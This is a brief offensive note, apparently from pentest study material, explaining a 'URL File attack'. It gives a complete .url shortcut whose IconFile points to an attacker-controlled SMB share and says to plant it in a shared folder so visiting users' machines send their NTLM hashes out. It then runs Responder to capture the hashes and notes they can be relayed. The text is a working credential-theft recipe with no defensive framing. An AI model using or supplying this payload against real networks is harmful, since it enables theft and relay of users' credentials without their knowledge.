URL File Attacks

Question 1

What is URL File attack ?

Answer 1

A way to get more hash on responder.
1. Create a icon file

[InternetShortcut]
URL=blah
WorkingDirectory=blah
IconFile=\\YOUR_IP\%USERNAME%.icon
IconIndex=1

2. Name it “@something” to place it in top of shared folder and autorun ressource loading
3. Run responder: responder -I eth0 -v
4. Just wait victim connect to your share
   (You can relay the hash)